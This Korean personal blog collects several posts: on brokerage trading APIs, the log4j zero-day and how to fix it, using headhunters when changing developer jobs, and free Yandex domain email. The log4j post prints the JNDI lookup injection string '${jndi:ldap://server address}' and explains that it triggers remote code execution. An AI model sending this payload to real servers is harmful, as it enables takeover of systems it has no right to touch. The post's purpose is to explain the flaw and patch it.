시스템 트레이딩 WebAPI 시대

과거의 시스템 트레이딩

C++6으로 만들어진 코드들… 32bit
MFC, COM, DLL, C#, Delphi, VB… 이런걸로 만들어야 했는데 존나 암걸린다.

DLL을 한번 wrapping 해서 COM으로 제공하는데… 더 느리다.

COM은 다가 python, java, go…등등으로 연동해서 만들수도 있는데
이렇게 하면 DLL쓰는 것 보다 성능이 반도 안 나오는 것 같았다.
그리고 이렇게 하면 윈도우에서만 돌아간다. 로그인 시 공인인증서도 필요…

회사별 과거 API

키움

키움은… 뭔가 계속 애매하다.
왜 쓰는지 잘 모르겠다.
안되는건 없는데 잘 되지도 않는다.

HTS도 그렇고, API 지원도 그렇고… 어중간한 상태
이런 상태로 1위 유지하는 것도 대단하고… 나도 키움이 주력계좌이기도 하고…

NH투자

NH가 붙으면서 농협의 소울에 잠식되는 중
세종-우리투자QV-NH투자증권
대략 이런식으로 인수,합병되면서 현재상태에 이르렀는데
우리투자증권이 조금 혁신적이려고 노력을 많이 했었다.
기존 회사의 흔적이 남아서인지 명맥만 겨우 유지하고 있는 중…

한국투자증권

혁신적인 회사처럼 OpenAPI(WebAPI)지원을 시작했는데…

거기서 끝이었다.
크게 열풍이 불진 않았다.

오늘 공동인증서 등록하면서 엿을 먹어보고 나니 왜 안쓰는지 알 것도 같고…
서브계좌용 정도로만 써야겠다.

여기는 1원인증하는 계좌와 은행 정보를 꼭 기억 해 놓자.

이베스트증권

예전부터 시스템 트레이딩 관련해선 지원이 강했다.

대여계좌 업체들 중에 큰 곳은 원장에 직접 접근하는?? DMA를 썼겠지만…
중소형 회사들은 이베스트와 몇몇 회사를 많이 쓴다고 들었다.

시스템 트레이딩 하는 개인도 많이 썼고.. 이 회사는 시스템 트레이딩 개발관련 교육도 꽤나 있었다. …
그런데 그 정도였다… 교육도 좋지만 직원한명 뽑거나 외주로 샘플코드 완성도를 조금만 높여놨어도 사람들이 훨씬 많이 썼을텐데… 그러지 않았다. 왜일까?

limit 제한이 낮은편이었다. webAPI도 그럴까?

신한투자, 대우, SK …

이쪽은… OPEN아니고 CLOSE API였다. 직원 승인 받아야 접속코드 받을 수 있는…
수수료가 기본적으로 비싸서 못 쓰지만 협의수수료 체계가 있어서 일정이상 사용량이 나오면 협의로 가는 것 같았다.
이런 회사들은 limit이 아예 없다고 했는데… dll만 지원이 됐었나 그랬던 것 같다.

증권사 WEB API

REST API, Websocket

  • 이베스트증권
  • 한국투자증권

이렇게 두개회사 지원중…

이거 같은회사에서 개발한 것 처럼 보인다.
같은SI에서 납품 받았던가 같은 솔루션 쓰던가

기존에 윈도우 데탑을 켜놓고 자동로그인 시키고 하는게 부담이었는데 이제 좀 편해졌다.

log4j – 0 day vulnerability

logging for java – 이미 유행 좀 지났지만… 생각났던거 다시 정리
0 day vulnerability 는 개발자보다 공격자가 먼 알아낸 문제점으로
0일부터 현재까지 모든 날짜가 위험했다는 의미

참고

  • https://nakedsecurity.sophos.com/2021/12/10/log4shell-java-vulnerability-how-to-safeguard-your-servers/
  • https://blog.alyac.co.kr/4341
  • https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot
  • https://medium.com/s2wlab/logs-of-log4shell-cve-2021-44228-log4j-is-ubiquitous-kr-fb50a6458a08

해결법

며칠동안 난리났던 log4j 0-day vulnerability
– org.apache.logging.log4j:log4j-core:2.15.0 이하 버전에서 문제 발생
2.16으로 업글하거나
옵션값 수정 formatMsgNoLookup=true
log4j 다른 로거로 전환

log4j 다른 로거로 전환

log4j는 자바에서 제일 많이 쓰이던 로깅 라이브러리 였다?
아직도 쓰는건 대부분 레거시 시스템 아니었을까
몇 가지 의존성을 추가하면 logback등 다른 로거로 쉽게 전환이 가능게 되서
대부분 시스템은 전환이 완료되었을거다

요즘엔 로거를 별도로 구현하거나 선언하는 경우는 잘 없고
표준 로깅 인터페이스링 slf4j를 통해서 사용한다
구현체를 쉽게 교체할 수 있도록

스프의 경우 기본적으로 아래의 의존성을 가지고 있는데

implementation 'ch.qos.logback:logback-classic' // logback 기본
implementation 'org.slf4j:jul-to-slf4j' // jul 로거를 slf4j로 연결
implementation 'org.slf4j:log4j-over-slf4j' // log4j 로거를 slf4j로 연결

취약점 설명

이 취약점은 마인크래프트서버에서 처음 발견됐다고 한다
마인크래프트 채팅창에 특정 문자열을 입력하면
log4j에서 로깅하는 과정에
log.info(“user chatting {}”, chatting_message);
같은게 입력되면 jndi lookup 동작..
sql injection과 유사한 공격인데 꼭 막혀있어야 하는 부분인데 뚫려있었던게 문제

${jndi:ldap://서버접속주소}

이렇게 메시지를 보내면 코드를 실행시켜버린다.
애플리케이션이 root로 실행되고 있었다면 root도 획득 가능

프로그래머 헤드헌터 통한 이직

헤드헌터 사용 케이스

일반적으로 비추지만
도움되는 경우는 본인이 한두회사에서 특정분야 도메인에 전문성이 있고 연봉을 시장가치에 비해 매우 적게 받는 경우
ex1) 결제/쇼핑몰 개발만 6년 했는데 연봉이 3~4천대다? 이정도면 연봉 많이 올려서 이직가능

아래같은 경우는 도움이 안된다. 알아서 하시길..
ex2) 본인이 결제/블록체인/쇼핑몰/SNS 등등 다 하고 개발을 매우 잘해서 연봉이 5년차 연봉이7천이다? 이건…알아서…

헤드헌터 제공서비스 이상과 현실

구직자 입장

  • 이력서 첨삭 -> 다 아는소리밖에 못함
  • 연봉협상 조언 -> 연봉 조금받는 경우에는 도움됨
  • 채용기업 정보 제공 -> 인터넷에 나와있는 정도

채용기업 입장

  • 회사에서 필요한 인재 발굴 – 이력서상으로는 대강 맞음
  • 경쟁사 직원 인력풀 조사 및 스카웃 – 불가능
  • 재야의 실력자 발굴 – 채용사이트에서 공개 해 놓은 사람 목록 클릭 중
  • 면접에 대한 조언 – 기술적 조언 불가능.. .기업 인사팀 경력도 잘 없음
  • 인재 관리 스킬 전수 – 그런건 책 보세요

헤드헌터의 보수

각 단계에 따라 돈 받아가는걸로 알고있다

  • 의뢰시 – 일정금액 또는 무료
  • 입사시 – 일정금액 또는 무료
  • 입사 3개월후 정직원 전환시 – 급여의 5~20% 사이

연봉5천짜리 이직에 성공하면
20% – 1000만원.
하는일에 비해 공인중개사는 당연하고 변호사보다 수당이 쎈 것 같다

헤드헌터의 서비스 상세 분석

HR 관련

괜찮은 헤드헌터들 대기업 HR팀에 있다 나오는 경우가 많다.
이게 일반적인 신입채용에는 도움이 될지 모르나 프로그래머 시장에서는 쓸모가 없다.
왜냐하면…. 다른분야에서 높은 성과를 내는 사람과 프로그래머는 특성이 너무 다르다.

각 기업에서 면접을 보기 전에
* 사전필터도 해 주고
* 인재 발굴도 해 줘야 하는데

애초에 도태 프로그래머나 인사팀 문돌이일텐데 이걸 해 줄 수가 없다.

게다가 요새는 기업이나 헤드헌터나 사람인, 원티드에서 구직자 검색하고 있는건 마찬가지라서 인재풀에 차이가 없다.

그냥 내부 인력이 채용에 관여 할 시간이 없어서 구직사이트관리, SNS, github 등 뒤져서 스카웃 쪽지 보내기 등등을 대신해줄 사람이 필요한 경우에 도움이 될 것 같다.

이력서 첨삭

전문성이 없다보니 일반적인 부분에서만 도움을 줄 수 있고 바꾸라고 하는대로 바꿨는데 기업에서 반응이 더 안 좋은 경우도 많다.

보통 기업에서는 경력사항을 아래와 같이 정리만 잘 해도 OK다.

  • 프로젝트 이름
  • 프로젝트 기간
  • 프로젝트 간략소개
  • 프로젝트에서 담당한 역할
  • 주요 기술스텍 목록
  • 내세울만한점이 있다면(개발시 신경썼던점, 기존 문제상황을 수정했던 부분 등)

한장짜리로 따로 멋지게 정리하라느니 뭐 그런소리도 많은데 채용하면서 이력서 검토도 몇번 한 입장으로써 왜 그래야 하는지 모르겠다. 면접에서 떨어져서 그렇지 주요회사 서류통과는 몇번 된걸보면 상관없는 게 맞다.
어차피 채용사이트 이력서 윗쪽에 요약정보는 들어간다.

혼자서 진짜 못 하겠는 경우

페이스북 개발자 모임같은데서 취업스터디 모집하는게 낫다
인맥도 생기고 운좋으면 도움의 손길이 있을수도??

헤드헌터는 여러분 한명한명에게 큰 공을 들이지 않고 별 관심도 없다
그리고 여러분이 뭘 했는지 제대로 이해하지 못하고 뭐가 중요한지 모른다
개발자 스터디에서 자기가 한 프로젝트에 대해 자세히 설명을 해 주고
함께 요약을 해 보면 훨씬 도움이 될 듯?

헤드헌터가 도움이 되는 경우??

간혹 비밀스럽게 채용이 이뤄지는 경우 공개적으로 이력서를 받지 않는 회사도 있긴 있다고 한다. 외국회사나 신규산업진출 등등의 경우…
이런 케이스에는 인맥 타고 들어가야지 헤드헌터 타고 들어가면 대접도 못 받는다.

그리고 보통은 대형 채용사이트와 회사 홈페이지에 함께 올린다.
회사 입장에서도 헤드헌터 통하는 것 보다 직접 지원하는걸 더 좋아한다.
이게 연봉협상에도 유리하다.(헤드헌터 수수료)

구직자 입장에서 채용사이트 비교

  • 사람인 : 괜찮은 좆소 많음 무난
  • 원티드 : 꽤 트렌디한 채용 서비스.. 사이트는 구린데 왠지 이미지가 좋다
  • 잡코리아 : 개인적으로 비선호라 잘 모름다
  • 로켓펀치 : 스타트업 채용이라고 하지만 아예 개좆밥인 경우가 많다
  • 프로그래머스 : 괜찮은 좆소 많음 무난… 탑프로그래머스는 별 도움안됨
    코딩테스트는 쓸만함
  • 인쿠르트 : 개발자는 잘 없지 않나
  • Okky : 구인구직 페이지.. 프리랜서 채용이 많다

~

남이 나보다 내 이력서/자소서를 더 잘 써주지 못한다.

다 직접 해야된다

무료 기업용?도메인 이메일 주소 서비스yandex

미제의 패악질을 참지 못한 불곰 형님들이 무료 도메인 서비스를 개시했다. 서비스 개 후진 양아치 네이버나 착하지만 서비스는 더 꾸진 다음하고 비교대상이 아니다.
그럭저럭 쓸만한 메일플러그와 같은 국내 서비스도 있긴한데..

회사 운영하는 것도 아니고 개인용으로 쓸만한 적당한 계정을 찾다보니 yandex라는 러시아 포탈서비스를 찾았다.

여윾시 글로벌 시대랄까…

10년후엔 아프리카 서비스를 쓰게 될지도 모르겠다.
아프리카 서비스는 유럽 제국주의자들 덕분에 편하게 쓰겠군..

사용법은… 그냥 매우 쉽다.

yandex.com 에서 가입하고
https://connect.yandex.com/pdd/
여기서 도메인 추가 해 주면 된다.

  1. TXT 관리에다가 뭐 좀 써주고
  2. MS정보랑 SRV. CNAME 써주면 완료